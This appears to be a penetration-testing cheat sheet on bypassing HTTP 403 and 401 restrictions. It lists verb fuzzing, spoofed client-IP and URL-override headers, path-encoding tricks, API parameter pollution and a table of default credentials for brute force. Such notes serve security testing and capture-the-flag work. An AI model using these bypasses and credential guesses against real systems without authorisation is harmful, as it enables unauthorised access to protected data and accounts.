403 & 401 Bypasses

HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.
Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.

Change Host header to some arbitrary value [that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)
Try to use other User Agents to access the resource.
Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force with a few combinations only and other techniques. To do all of this I have created the tool fuzzhttpbypass.
- X-Originating-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwarded: 127.0.0.1
- Forwarded-For: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-ProxyUser-Ip: 127.0.0.1
- X-Original-URL: 127.0.0.1
- Client-IP: 127.0.0.1
- True-Client-IP: 127.0.0.1
- Cluster-Client-IP: 127.0.0.1
- X-ProxyUser-Ip: 127.0.0.1
If the path is protected you can try to bypass the path protection using these other headers:
- X-Original-URL: /admin/console
- X-Rewrite-URL: /admin/console
If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.
Fuzz special HTTP headers looking for different response.
- Fuzz special HTTP headers while fuzzing HTTP Methods.

If /path is blocked:

Try using /%2e/path if the access is blocked by a proxy, this could bypass the protection. Try also /%252e/path double URL encode
Try Unicode bypass: /%ef%bc%8fpath The URL encoded chars are like "/" so when encoded back it will be //path and maybe you will have already bypassed the /path name check
Other path bypasses:
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK ruby
- Use all this list in the following situations:
  - /FUZZsecret
  - /FUZZ/secret
  - /secretFUZZ
Other API bypasses:
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthriozied
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Unauthriozied
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} JSON Parameter Pollution
- user_id=ATTACKER_ID&user_id=VICTIM_ID Parameter Pollution

Try to stress the server sending common GET requests [It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125).
Change the protocol: from http to https, or for https to http
Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?

Brute force: Try basic, digest and NTLM auth.

{% code title="Common creds" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}